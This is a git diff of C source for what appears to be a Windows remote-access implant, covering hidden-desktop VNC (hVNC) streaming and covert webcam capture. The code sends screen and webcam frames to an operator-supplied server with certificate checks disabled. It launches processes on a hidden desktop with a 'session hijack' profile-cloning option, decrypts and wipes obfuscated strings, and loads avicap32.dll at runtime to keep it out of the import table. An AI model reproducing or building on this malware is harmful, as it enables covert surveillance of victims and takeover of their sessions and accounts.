LeaveCriticalSection(&cap_ctx.pipe_lock); + + frame_jpeg = &jpeg; + } else if (pipeline_thread) { + /* Regular VNC with pipeline: wait for capture thread to produce frame */ + DWORD wait = WaitForSingleObject(pipeline.frame_ready_evt, 500); + if (!InterlockedCompareExchange(&vnc->running, 1, 1)) break; + if (wait == WAIT_TIMEOUT) continue; + + EnterCriticalSection(&pipeline.lock); + /* Use pipeline buffer directly */ + if (pipeline.frame_buf.len == 0) { + LeaveCriticalSection(&pipeline.lock); + SetEvent(pipeline.frame_sent_evt); + continue; + } + /* Swap into local jpeg for sending */ + uint8_t *tmp_data = jpeg.data; + size_t tmp_cap = jpeg.cap; + jpeg.data = pipeline.frame_buf.data; + jpeg.cap = pipeline.frame_buf.cap; + jpeg.len = pipeline.frame_buf.len; + pipeline.frame_buf.data = tmp_data; + pipeline.frame_buf.cap = tmp_cap; + pipeline.frame_buf.len = 0; + width = pipeline.width; + height = pipeline.height; + LeaveCriticalSection(&pipeline.lock); + + frame_jpeg = &jpeg; + } else { + /* Regular VNC without pipeline (fallback) */ + /* Respect capture_method: 0=auto, 1=DXGI only, 2=GDI only. + * hVNC always uses GDI since DXGI doesn't work on hidden desktops. */ + int use_gdi = (vnc->is_hvnc || vnc->capture_method == 2); + int use_dxgi = (!use_gdi && vnc->capture_method != 2); + + if (use_dxgi) { + int dxgi_rc = capture_raw_pixels_dxgi(vnc, &tile_grid); + if (dxgi_rc == 1) { + /* No change — skip */ + Sleep(5); + continue; + } + if (dxgi_rc != 0) { + tile_grid.bgra_ptr = NULL; /* DXGI failed, fallback to GDI */ + use_gdi = (vnc->capture_method != 1); /* Don't fallback if DXGI-only */ + } + } + + if (use_gdi && tile_grid.bgra_ptr == NULL) { + if (capture_raw_pixels(vnc, &tile_grid) != 0) { + consecutive_capture_fails++; + if (consecutive_capture_fails <= 3 || (consecutive_capture_fails % 100) == 0) + VNC_LOG("[VNC] Frame capture failed (attempt %d)\n", consecutive_capture_fails); + Sleep(5); + continue; + } + } + int fb_dirty = encode_frame_tiled(&tile_grid, vnc->quality, &jpeg); + if (fb_dirty < 0) { + if (tile_grid.bgra_ptr) { + dxgi_release_frame(g_dxgi_ctx); + tile_grid.bgra_ptr = NULL; + } + Sleep(5); + continue; + } + /* Release DXGI mapped frame after encoding */ + if (tile_grid.bgra_ptr) { + dxgi_release_frame(g_dxgi_ctx); + tile_grid.bgra_ptr = NULL; + } + /* Idle frame skip for inline fallback path */ + if (fb_dirty == 0 && (GetTickCount() - vnc->last_input_tick) > 200) { + Sleep(fallback_idle_backoff); + if (fallback_idle_backoff < 100) { + fallback_idle_backoff *= 2; + if (fallback_idle_backoff > 100) fallback_idle_backoff = 100; + } + continue; + } + fallback_idle_backoff = 20; + /* Adaptive tile sizing for inline fallback path */ + if (!vnc->is_hvnc) + adaptive_tile_resize(&tile_grid); + width = tile_grid.width; + height = tile_grid.height; + frame_jpeg = &jpeg; + } + consecutive_capture_fails = 0; + + /* ── Send frame ─────────────────────────────────────────────── */ + if (vnc->use_websocket && InterlockedCompareExchange(&vnc->ws_connected, 1, 1)) { + /* WebSocket path — fast, non-blocking send */ + int ws_rc = vnc_ws_send_frame(vnc, frame_jpeg); + + if (ws_rc != 0) { + /* WebSocket send failed */ + if (!ws_reconnect_tried) { + ws_reconnect_tried = TRUE; + if (vnc_ws_reconnect(vnc)) { + VNC_LOG("[WS] Reconnected, retrying send\n"); + vnc_ws_send_frame(vnc, frame_jpeg); /* best effort */ + } else { + VNC_LOG("[WS] Reconnect failed, falling back to HTTP POST\n"); + vnc->use_websocket = FALSE; + } + } else { + VNC_LOG("[WS] Send failed after reconnect, falling back to HTTP POST\n"); + vnc->use_websocket = FALSE; + } + } + + /* Check for input from WS receive thread */ + if (WaitForSingleObject(vnc->ws_input_evt, 0) == WAIT_OBJECT_0) { + EnterCriticalSection(&vnc->ws_input_lock); + if (vnc->ws_input_data && vnc->ws_input_len > 0) { + if (cap_thread) { + EnterCriticalSection(&cap_ctx.input_lock); + free(cap_ctx.input_data); + cap_ctx.input_data = vnc->ws_input_data; + cap_ctx.input_len = vnc->ws_input_len; + LeaveCriticalSection(&cap_ctx.input_lock); + vnc->ws_input_data = NULL; + } else { + process_input_events(vnc, vnc->ws_input_data, vnc->ws_input_len); + free(vnc->ws_input_data); + vnc->ws_input_data = NULL; + } + vnc->ws_input_len = 0; + } + LeaveCriticalSection(&vnc->ws_input_lock); + } + } else { + /* HTTP POST fallback path */ + uint32_t token_len = (uint32_t)strlen(vnc->token); + size_t body_len = 4 + token_len + 8 + frame_jpeg->len; + uint8_t *body = (uint8_t *)malloc(body_len); + if (!body) { + if (cap_thread) SetEvent(cap_ctx.frame_sent_evt); + if (pipeline_thread) SetEvent(pipeline.frame_sent_evt); + Sleep(100); + continue; + } + + size_t off = 0; + body[off++] = (uint8_t)(token_len); + body[off++] = (uint8_t)(token_len >> 8); + body[off++] = (uint8_t)(token_len >> 16); + body[off++] = (uint8_t)(token_len >> 24); + memcpy(body + off, vnc->token, token_len); + off += token_len; + uint64_t fn_val = vnc->frame_number++; + body[off++] = (uint8_t)(fn_val); + body[off++] = (uint8_t)(fn_val >> 8); + body[off++] = (uint8_t)(fn_val >> 16); + body[off++] = (uint8_t)(fn_val >> 24); + body[off++] = (uint8_t)(fn_val >> 32); + body[off++] = (uint8_t)(fn_val >> 40); + body[off++] = (uint8_t)(fn_val >> 48); + body[off++] = (uint8_t)(fn_val >> 56); + memcpy(body + off, frame_jpeg->data, frame_jpeg->len); + + uint8_t *resp = NULL; + size_t resp_len = 0; + int rc = vnc_post_frame(vnc, body, body_len, &resp, &resp_len); + free(body); + + if (rc == 1) { + VNC_LOG("[%s] Server returned 410, stopping\n", + vnc->is_hvnc ? "hVNC" : "VNC"); + if (resp) free(resp); + InterlockedExchange(&vnc->running, 0); + if (cap_thread) SetEvent(cap_ctx.frame_sent_evt); + if (pipeline_thread) SetEvent(pipeline.frame_sent_evt); + break; + } + + if (rc == -1) { + consecutive_post_fails++; + if (consecutive_post_fails <= 3 || (consecutive_post_fails % 100) == 0) + VNC_LOG("[%s] Frame POST failed (attempt %d)\n", + vnc->is_hvnc ? "hVNC" : "VNC", consecutive_post_fails); + } else { + if (consecutive_post_fails > 0) + VNC_LOG("[%s] Frame POST recovered after %d failures\n", + vnc->is_hvnc ? "hVNC" : "VNC", consecutive_post_fails); + consecutive_post_fails = 0; + } + + if (rc == 0 && resp && resp_len > 0) { + if (cap_thread) { + EnterCriticalSection(&cap_ctx.input_lock); + free(cap_ctx.input_data); + cap_ctx.input_data = resp; + cap_ctx.input_len = resp_len; + LeaveCriticalSection(&cap_ctx.input_lock); + resp = NULL; + } else { + process_input_events(vnc, resp, resp_len); + } + } + if (resp) free(resp); + } + + /* Signal pipeline that send is done */ + if (cap_thread) SetEvent(cap_ctx.frame_sent_evt); + if (pipeline_thread) SetEvent(pipeline.frame_sent_evt); + + /* Frame rate limiting — only for non-hVNC (regular VNC / pipeline). + hVNC FPS limiting is done in the capture thread to avoid + capturing frames that will be dropped. */ + if (!cap_thread) { + int effective_fps = vnc->target_fps > 0 ? vnc->target_fps : 20; + DWORD elapsed = GetTickCount() - frame_start; + DWORD target_interval = 1000 / (DWORD)effective_fps; + if (elapsed < target_interval) { + Sleep(target_interval - elapsed); + } + } + } + +thread_exit: + /* Stop pipeline capture thread */ + if (pipeline_thread) { + InterlockedExchange(&pipeline.alive, 0); + SetEvent(pipeline.frame_sent_evt); /* wake it so it exits */ + WaitForSingleObject(pipeline_thread, 3000); + CloseHandle(pipeline_thread); + CloseHandle(pipeline.frame_ready_evt); + CloseHandle(pipeline.frame_sent_evt); + free(pipeline.frame_buf.data); + DeleteCriticalSection(&pipeline.lock); + } + + /* Close WebSocket */ + if (vnc->use_websocket || vnc->ws_handle) { + vnc_ws_close(vnc); + } + if (vnc->ws_input_evt) { CloseHandle(vnc->ws_input_evt); vnc->ws_input_evt = NULL; } + free(vnc->ws_input_data); vnc->ws_input_data = NULL; + free(vnc->ws_send_buf); vnc->ws_send_buf = NULL; vnc->ws_send_cap = 0; + DeleteCriticalSection(&vnc->ws_input_lock); + + /* Stop hVNC pipeline capture thread */ + if (cap_thread) { + InterlockedExchange(&cap_ctx.alive, 0); + SetEvent(cap_ctx.frame_sent_evt); /* wake it so it exits */ + WaitForSingleObject(cap_thread, 3000); + CloseHandle(cap_thread); + CloseHandle(cap_ctx.frame_ready_evt); + CloseHandle(cap_ctx.frame_sent_evt); + free(cap_ctx.input_data); + free(cap_ctx.pipe_buf.data); + DeleteCriticalSection(&cap_ctx.pipe_lock); + DeleteCriticalSection(&cap_ctx.input_lock); + } + + /* Cleanup */ + if (jpeg.data) free(jpeg.data); + tile_grid_free(&tile_grid); + if (vnc->connect) { WinHttpCloseHandle(vnc->connect); vnc->connect = NULL; } + if (vnc->session) { WinHttpCloseHandle(vnc->session); vnc->session = NULL; } + + InterlockedExchange(&vnc->running, 0); + + VNC_LOG("[%s] Thread exiting (posted %llu frames)\n", + vnc->is_hvnc ? "hVNC" : "VNC", + (unsigned long long)vnc->frame_number); + return 0; +} + +/* ── Shared stop helper ───────────────────────────────────────────── */ + +static void stop_existing_session(void) { + if (g_vnc && InterlockedCompareExchange(&g_vnc->running, 1, 1)) { + InterlockedExchange(&g_vnc->running, 0); + if (g_vnc_thread) { + WaitForSingleObject(g_vnc_thread, 5000); + CloseHandle(g_vnc_thread); + g_vnc_thread = NULL; + } + if (g_vnc->is_hvnc) { + hvnc_cleanup(g_vnc); + } + free(g_vnc); + g_vnc = NULL; + } + /* Clean up DXGI context */ + if (g_dxgi_ctx) { + dxgi_cleanup(g_dxgi_ctx); + g_dxgi_ctx = NULL; + } +} + +/* ── Command handlers ─────────────────────────────────────────────── */ + +int cmd_vnc_start(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 2) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("bad args: [token, server_url]"); + return -1; + } + + /* Stop existing session if any (VNC or hVNC) */ + stop_existing_session(); + + vnc_state_t *vnc = (vnc_state_t *)calloc(1, sizeof(vnc_state_t)); + if (!vnc) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("ERR 701: alloc"); + return -1; + } + + strncpy(vnc->token, task->args[0], sizeof(vnc->token) - 1); + vnc->token[sizeof(vnc->token) - 1] = '\0'; + strncpy(vnc->server_url, task->args[1], sizeof(vnc->server_url) - 1); + vnc->server_url[sizeof(vnc->server_url) - 1] = '\0'; + strncpy(vnc->user_agent, "Mozilla/5.0", sizeof(vnc->user_agent) - 1); + vnc->user_agent[sizeof(vnc->user_agent) - 1] = '\0'; + vnc->quality = 35; + vnc->target_fps = 20; + vnc->frame_number = 0; + vnc->is_hvnc = FALSE; + + /* Parse URL to get host/port/tls */ + if (vnc_parse_url(vnc->server_url, vnc->host, 512, &vnc->port, &vnc->use_tls) != 0) { + free(vnc); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("ERR 702: url parse"); + return -1; + } + + /* Init DXGI Desktop Duplication (regular VNC only, not hVNC). + * Silent fallback to GDI if DXGI is unavailable. */ + if (!g_dxgi_ctx) { + g_dxgi_ctx = dxgi_init(); + g_dxgi_reinit_tried = 0; /* reset for new session */ + if (g_dxgi_ctx) { + VNC_LOG("[VNC] DXGI Desktop Duplication initialized\n"); + } else { + VNC_LOG("[VNC] DXGI unavailable, using GDI capture\n"); + } + } + + InterlockedExchange(&vnc->running, 1); + InterlockedExchangePointer((volatile PVOID *)&g_vnc, vnc); + + HANDLE thread = CreateThread(NULL, 0, vnc_thread_proc, vnc, 0, NULL); + if (!thread) { + DWORD err = GetLastError(); + InterlockedExchangePointer((volatile PVOID *)&g_vnc, NULL); + free(vnc); + result->success = false; + result->error_code = (int32_t)err; + result->error_message = _strdup("ERR 703: thread create"); + return -1; + } + InterlockedExchangePointer((volatile PVOID *)&g_vnc_thread, thread); + + result->success = true; + result->output = _strdup("streaming started"); + return 0; +} + +int cmd_vnc_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + if (!g_vnc || !InterlockedCompareExchange(&g_vnc->running, 1, 1)) { + result->success = true; + result->output = _strdup("not running"); + return 0; + } + + stop_existing_session(); + + result->success = true; + result->output = _strdup("streaming stopped"); + return 0; +} + +/* ── hVNC command handlers ────────────────────────────────────────── */ + +int cmd_hvnc_start(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 2) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("bad args: [token, server_url]"); + return -1; + } + + /* Stop existing session if any (VNC or hVNC) */ + stop_existing_session(); + + vnc_state_t *vnc = (vnc_state_t *)calloc(1, sizeof(vnc_state_t)); + if (!vnc) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("ERR 801: alloc"); + return -1; + } + + strncpy(vnc->token, task->args[0], sizeof(vnc->token) - 1); + vnc->token[sizeof(vnc->token) - 1] = '\0'; + strncpy(vnc->server_url, task->args[1], sizeof(vnc->server_url) - 1); + vnc->server_url[sizeof(vnc->server_url) - 1] = '\0'; + strncpy(vnc->user_agent, "Mozilla/5.0", sizeof(vnc->user_agent) - 1); + vnc->user_agent[sizeof(vnc->user_agent) - 1] = '\0'; + vnc->quality = 35; + vnc->target_fps = 20; + vnc->frame_number = 0; + vnc->is_hvnc = TRUE; + + /* Create hidden desktop */ + if (hvnc_create_desktop(vnc) != 0) { + free(vnc); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to create hidden desktop (insufficient privileges?)"); + return -1; + } + + /* Auto-launch explorer.exe for shell/taskbar */ + hvnc_launch_process(vnc, "explorer.exe", 0); + + /* Give explorer time to initialize */ + Sleep(2000); + + /* Parse URL to get host/port/tls */ + if (vnc_parse_url(vnc->server_url, vnc->host, 512, &vnc->port, &vnc->use_tls) != 0) { + hvnc_cleanup(vnc); + free(vnc); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("ERR 802: url parse"); + return -1; + } + + InterlockedExchange(&vnc->running, 1); + InterlockedExchangePointer((volatile PVOID *)&g_vnc, vnc); + + HANDLE thread = CreateThread(NULL, 0, vnc_thread_proc, vnc, 0, NULL); + if (!thread) { + DWORD err = GetLastError(); + InterlockedExchangePointer((volatile PVOID *)&g_vnc, NULL); + hvnc_cleanup(vnc); + free(vnc); + result->success = false; + result->error_code = (int32_t)err; + result->error_message = _strdup("ERR 803: thread create"); + return -1; + } + InterlockedExchangePointer((volatile PVOID *)&g_vnc_thread, thread); + + { + char msg_buf[64]; + obf_decrypt_to(OBF_HVNC_STARTED, msg_buf, sizeof(msg_buf)); + result->success = true; + result->output = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + } + return 0; +} + +int cmd_hvnc_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + if (!g_vnc || !g_vnc->is_hvnc) { + char msg_buf[64]; + obf_decrypt_to(OBF_HVNC_NOT_RUNNING, msg_buf, sizeof(msg_buf)); + result->success = true; + result->output = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + return 0; + } + + stop_existing_session(); + + { + char msg_buf[64]; + obf_decrypt_to(OBF_HVNC_STOPPED, msg_buf, sizeof(msg_buf)); + result->success = true; + result->output = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + } + return 0; +} + +int cmd_hvnc_exec(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 1) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("bad args: [command_line]"); + return -1; + } + + if (!g_vnc || !g_vnc->is_hvnc || !g_vnc->hidden_desktop) { + result->success = false; + result->error_code = -1; + { + char msg_buf[64]; + obf_decrypt_to(OBF_HVNC_NOT_ACTIVE, msg_buf, sizeof(msg_buf)); + result->error_message = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + } + return -1; + } + + /* Second arg "clone" enables session hijacking (profile cloning) */ + int clone_session = 0; + if (task->num_args >= 2 && _stricmp(task->args[1], "clone") == 0) { + clone_session = 1; + } + + if (hvnc_launch_process(g_vnc, task->args[0], clone_session) != 0) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to launch process on hidden desktop"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), "Launched on hidden desktop%s: %s", + clone_session ? " (session hijack)" : "", task->args[0]); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +void vnc_cleanup(void) { + stop_existing_session(); +} + +#endif /* _WIN32 */ diff --git a/src/commands/webcam.c b/src/commands/webcam.c new file mode 100755 index 0000000..b35a133 --- /dev/null +++ b/src/commands/webcam.c @@ -0,0 +1,710 @@ +#include "zerin.h" +#include +#include +#include +#include + +#ifdef _WIN32 + +#include +#include +#include + +/* libjpeg-turbo TurboJPEG API (SIMD-accelerated) */ +#include "turbojpeg.h" + +/* ── Runtime-loaded avicap32.dll (keep out of IAT) ────────────────── */ + +typedef HWND (WINAPI *PFN_capCreateCaptureWindowA)(LPCSTR,DWORD,int,int,int,int,HWND,int); +typedef BOOL (WINAPI *PFN_capGetDriverDescriptionA)(UINT,LPSTR,int,LPSTR,int); +static HMODULE g_avicap32; +static PFN_capCreateCaptureWindowA pfn_capCreate; +static PFN_capGetDriverDescriptionA pfn_capGetDesc; + +static int load_avicap32(void) { + if (g_avicap32) return 0; + g_avicap32 = LoadLibraryA("avicap32.dll"); + if (!g_avicap32) return -1; + pfn_capCreate = (PFN_capCreateCaptureWindowA)GetProcAddress(g_avicap32, "capCreateCaptureWindowA"); + pfn_capGetDesc = (PFN_capGetDriverDescriptionA)GetProcAddress(g_avicap32, "capGetDriverDescriptionA"); + return (pfn_capCreate && pfn_capGetDesc) ? 0 : -1; +} + +/* ── JPEG write buffer ─────────────────────────────────────────────── */ + +typedef struct { + uint8_t *data; + size_t len; + size_t cap; +} webcam_jpeg_buf_t; + +/* ── URL parsing (local copy — same as vnc.c) ─────────────────────── */ + +static int webcam_to_wide(const char *src, wchar_t *dst, size_t dst_chars) { + return MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, (int)dst_chars); +} + +static int webcam_parse_url(const char *url, wchar_t *host, size_t host_chars, + INTERNET_PORT *port, int *use_tls, wchar_t *path, size_t path_chars) { + *use_tls = 0; + *port = 443; + const char *p = url; + if (strncmp(p, "https://", 8) == 0) { *use_tls = 1; *port = 443; p += 8; } + else if (strncmp(p, "http://", 7) == 0) { *use_tls = 0; *port = 80; p += 7; } + else return -1; + + const char *slash = strchr(p, '/'); + const char *colon = strchr(p, ':'); + char host_buf[512]; + if (colon && (!slash || colon < slash)) { + size_t hlen = (size_t)(colon - p); + if (hlen >= sizeof(host_buf)) return -1; + memcpy(host_buf, p, hlen); host_buf[hlen] = '\0'; + *port = (INTERNET_PORT)atoi(colon + 1); + } else if (slash) { + size_t hlen = (size_t)(slash - p); + if (hlen >= sizeof(host_buf)) return -1; + memcpy(host_buf, p, hlen); host_buf[hlen] = '\0'; + } else { + size_t hlen = strlen(p); + if (hlen >= sizeof(host_buf)) return -1; + memcpy(host_buf, p, hlen); host_buf[hlen] = '\0'; + } + webcam_to_wide(host_buf, host, host_chars); + if (slash) webcam_to_wide(slash, path, path_chars); + else { path[0] = L'/'; path[1] = L'\0'; } + return 0; +} + +/* ── YUY2/NV12 conversion helpers ─────────────────────────────────── */ + +static inline uint8_t clamp_u8(int v) { + return v < 0 ? 0 : (v > 255 ? 255 : (uint8_t)v); +} + +/* Convert a YUY2 frame to RGB (top-down). YUY2 packs as [Y0 U0 Y1 V0] per 2 pixels. */ +static void yuy2_to_rgb(const uint8_t *src, uint8_t *dst, int w, int h) { + for (int row = 0; row < h; row++) { + const uint8_t *s = src + row * w * 2; + uint8_t *d = dst + row * w * 3; + for (int x = 0; x < w; x += 2) { + int y0 = s[0], u = s[1], y1 = s[2], v = s[3]; + int c = u - 128, e = v - 128; + d[0] = clamp_u8(y0 + ((359 * e) >> 8)); + d[1] = clamp_u8(y0 - ((88 * c + 183 * e) >> 8)); + d[2] = clamp_u8(y0 + ((454 * c) >> 8)); + d[3] = clamp_u8(y1 + ((359 * e) >> 8)); + d[4] = clamp_u8(y1 - ((88 * c + 183 * e) >> 8)); + d[5] = clamp_u8(y1 + ((454 * c) >> 8)); + s += 4; + d += 6; + } + } +} + +/* Convert an NV12 frame to RGB. NV12: full-size Y plane, then interleaved UV at half res. */ +static void nv12_to_rgb(const uint8_t *src, uint8_t *dst, int w, int h) { + const uint8_t *y_plane = src; + const uint8_t *uv_plane = src + w * h; + for (int row = 0; row < h; row++) { + for (int col = 0; col < w; col++) { + int y = y_plane[row * w + col]; + int uv_idx = (row / 2) * w + (col & ~1); + int u = uv_plane[uv_idx] - 128; + int v = uv_plane[uv_idx + 1] - 128; + uint8_t *d = dst + (row * w + col) * 3; + d[0] = clamp_u8(y + ((359 * v) >> 8)); + d[1] = clamp_u8(y - ((88 * u + 183 * v) >> 8)); + d[2] = clamp_u8(y + ((454 * u) >> 8)); + } + } +} + +/* ── FourCC constants ─────────────────────────────────────────────── */ + +#ifndef MAKEFOURCC +#define MAKEFOURCC(a,b,c,d) ((DWORD)(a)|((DWORD)(b)<<8)|((DWORD)(c)<<16)|((DWORD)(d)<<24)) +#endif +#define FOURCC_YUY2 MAKEFOURCC('Y','U','Y','2') +#define FOURCC_NV12 MAKEFOURCC('N','V','1','2') + +/* ── Webcam state ──────────────────────────────────────────────────── */ + +#define WEBCAM_FMT_RGB24 1 +#define WEBCAM_FMT_RGB32 2 +#define WEBCAM_FMT_YUY2 3 +#define WEBCAM_FMT_NV12 4 + +/* Capture mode */ +#define WEBCAM_MODE_PREVIEW 0 /* preview callback */ +#define WEBCAM_MODE_GDI 1 /* GDI BitBlt fallback */ + +typedef struct { + char token[256]; + char server_url[1024]; + char user_agent[256]; + HWND cap_window; + volatile LONG running; + HINTERNET session; + HINTERNET connect; + wchar_t host[512]; + INTERNET_PORT port; + int use_tls; + int quality; + int target_fps; + uint64_t frame_number; + int cap_width; + int cap_height; + int pixel_format; /* WEBCAM_FMT_* */ + int bpp; /* bytes per pixel in raw frame */ + int device_index; /* VFW device index (0-9), -1 = auto */ + int capture_mode; /* WEBCAM_MODE_* */ + /* Frame capture callback data */ + uint8_t *dib_data; + int dib_len; + volatile LONG new_frame; /* set by callback when fresh data arrives */ + CRITICAL_SECTION dib_lock; +} webcam_state_t; + +static webcam_state_t *g_webcam = NULL; +static HANDLE g_webcam_thread = NULL; + +/* ── avicap32 frame callback ──────────────────────────────────────── */ + +static LRESULT CALLBACK webcam_frame_callback(HWND hWnd, LPVIDEOHDR lpVHdr) { + (void)hWnd; + webcam_state_t *st = g_webcam; + if (!st || !lpVHdr || lpVHdr->dwBytesUsed == 0) return 0; + + EnterCriticalSection(&st->dib_lock); + if (st->dib_data) free(st->dib_data); + st->dib_len = (int)lpVHdr->dwBytesUsed; + st->dib_data = (uint8_t *)malloc(st->dib_len); + if (st->dib_data) { + memcpy(st->dib_data, lpVHdr->lpData, st->dib_len); + InterlockedExchange(&st->new_frame, 1); + } + LeaveCriticalSection(&st->dib_lock); + return 0; +} + +/* ── POST frame to server ──────────────────────────────────────────── */ + +static int webcam_post_frame(webcam_state_t *st, const uint8_t *jpeg, size_t jpeg_len, + int width, int height) { + /* Build body: [4:token_len][token][8:frame_num][2:w][2:h][4:jpeg_len][jpeg] */ + uint32_t token_len = (uint32_t)strlen(st->token); + size_t body_len = 4 + token_len + 8 + 2 + 2 + 4 + jpeg_len; + uint8_t *body = (uint8_t *)malloc(body_len); + if (!body) return -1; + + size_t off = 0; + memcpy(body + off, &token_len, 4); off += 4; + memcpy(body + off, st->token, token_len); off += token_len; + memcpy(body + off, &st->frame_number, 8); off += 8; + uint16_t w16 = (uint16_t)width, h16 = (uint16_t)height; + memcpy(body + off, &w16, 2); off += 2; + memcpy(body + off, &h16, 2); off += 2; + uint32_t jlen = (uint32_t)jpeg_len; + memcpy(body + off, &jlen, 4); off += 4; + memcpy(body + off, jpeg, jpeg_len); off += jpeg_len; + + wchar_t path[] = L"/api/vnc/frame"; + DWORD flags = st->use_tls ? (WINHTTP_FLAG_SECURE | WINHTTP_FLAG_BYPASS_PROXY_CACHE) : 0; + HINTERNET hReq = WinHttpOpenRequest(st->connect, L"POST", path, NULL, + WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, flags); + int ok = 0; + if (hReq) { + if (st->use_tls) { + DWORD sec_flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &sec_flags, sizeof(sec_flags)); + } + wchar_t hdrs[] = L"Content-Type: application/octet-stream\r\n"; + if (WinHttpSendRequest(hReq, hdrs, (DWORD)-1, body, (DWORD)body_len, (DWORD)body_len, 0)) { + if (WinHttpReceiveResponse(hReq, NULL)) { + ok = 1; + } + } + WinHttpCloseHandle(hReq); + } + + free(body); + st->frame_number++; + return ok ? 0 : -1; +} + +/* ── Try to connect to a webcam device and negotiate format ──────── */ + +static int webcam_try_connect(webcam_state_t *st) { + int connected = 0; + + if (st->device_index >= 0 && st->device_index < 10) { + /* Connect to specific device */ + if (SendMessage(st->cap_window, WM_CAP_DRIVER_CONNECT, (WPARAM)st->device_index, 0)) + connected = 1; + } else { + /* Auto-detect: try devices 0-9 */ + for (int dev = 0; dev < 10; dev++) { + if (SendMessage(st->cap_window, WM_CAP_DRIVER_CONNECT, (WPARAM)dev, 0)) { + connected = 1; + break; + } + } + } + if (!connected) return -1; + + /* Set frame callback (used by preview mode) */ + SendMessage(st->cap_window, WM_CAP_SET_CALLBACK_FRAME, 0, (LPARAM)webcam_frame_callback); + + /* Get current video format */ + BITMAPINFO bmi; + memset(&bmi, 0, sizeof(bmi)); + int fmt_size = (int)SendMessage(st->cap_window, WM_CAP_GET_VIDEOFORMAT, sizeof(bmi), (LPARAM)&bmi); + if (fmt_size > 0 && bmi.bmiHeader.biWidth > 0) { + st->cap_width = bmi.bmiHeader.biWidth; + st->cap_height = abs(bmi.bmiHeader.biHeight); + } else { + st->cap_width = 640; + st->cap_height = 480; + } + + /* Try to request RGB24 first (ideal case) */ + BITMAPINFO req_bmi; + memset(&req_bmi, 0, sizeof(req_bmi)); + req_bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + req_bmi.bmiHeader.biWidth = st->cap_width; + req_bmi.bmiHeader.biHeight = st->cap_height; + req_bmi.bmiHeader.biPlanes = 1; + req_bmi.bmiHeader.biBitCount = 24; + req_bmi.bmiHeader.biCompression = BI_RGB; + req_bmi.bmiHeader.biSizeImage = (DWORD)st->cap_width * st->cap_height * 3; + SendMessage(st->cap_window, WM_CAP_SET_VIDEOFORMAT, sizeof(BITMAPINFO), (LPARAM)&req_bmi); + + /* Re-read the actual format the driver accepted */ + memset(&bmi, 0, sizeof(bmi)); + SendMessage(st->cap_window, WM_CAP_GET_VIDEOFORMAT, sizeof(bmi), (LPARAM)&bmi); + if (bmi.bmiHeader.biWidth > 0) { + st->cap_width = bmi.bmiHeader.biWidth; + st->cap_height = abs(bmi.bmiHeader.biHeight); + } + + /* Detect the pixel format */ + DWORD comp = bmi.bmiHeader.biCompression; + int bits = bmi.bmiHeader.biBitCount; + + if (comp == BI_RGB && bits == 24) { + st->pixel_format = WEBCAM_FMT_RGB24; + st->bpp = 3; + } else if (comp == BI_RGB && bits == 32) { + st->pixel_format = WEBCAM_FMT_RGB32; + st->bpp = 4; + } else if (comp == FOURCC_YUY2 || (comp == BI_RGB + 1 && bits == 16)) { + st->pixel_format = WEBCAM_FMT_YUY2; + st->bpp = 2; + } else if (comp == FOURCC_NV12) { + st->pixel_format = WEBCAM_FMT_NV12; + st->bpp = 1; + } else { + st->pixel_format = WEBCAM_FMT_YUY2; + st->bpp = 2; + } + + /* Resize capture window to match actual capture resolution. + VFW preview mode renders frames TO the window — a 1x1 window + prevents both preview callbacks and GDI BitBlt from working. */ + SetWindowPos(st->cap_window, NULL, 0, 0, + st->cap_width, st->cap_height, SWP_NOMOVE | SWP_NOZORDER); + + /* Enable preview mode — driver streams frames and invokes + the WM_CAP_SET_CALLBACK_FRAME callback automatically. */ + { + DWORD preview_ms = 1000 / (st->target_fps > 0 ? st->target_fps : 10); + SendMessage(st->cap_window, WM_CAP_SET_PREVIEWRATE, (WPARAM)preview_ms, 0); + SendMessage(st->cap_window, WM_CAP_SET_PREVIEW, (WPARAM)TRUE, 0); + } + + return 0; +} + +/* ── GDI fallback: read frame directly from capture window DC ──────── */ + +static int webcam_gdi_grab(webcam_state_t *st, uint8_t *rgb_buf, int w, int h) { + /* Grab frame into capture window buffer */ + SendMessage(st->cap_window, WM_CAP_GRAB_FRAME_NOSTOP, 0, 0); + + /* Read pixels from the capture window via GDI BitBlt */ + HDC hdc_cap = GetDC(st->cap_window); + if (!hdc_cap) return -1; + + HDC hdc_mem = CreateCompatibleDC(hdc_cap); + if (!hdc_mem) { ReleaseDC(st->cap_window, hdc_cap); return -1; } + + HBITMAP hbmp = CreateCompatibleBitmap(hdc_cap, w, h); + if (!hbmp) { DeleteDC(hdc_mem); ReleaseDC(st->cap_window, hdc_cap); return -1; } + + HBITMAP old_bmp = (HBITMAP)SelectObject(hdc_mem, hbmp); + BitBlt(hdc_mem, 0, 0, w, h, hdc_cap, 0, 0, SRCCOPY); + + /* Read the bitmap bits as top-down RGB24 */ + BITMAPINFO bmi; + memset(&bmi, 0, sizeof(bmi)); + 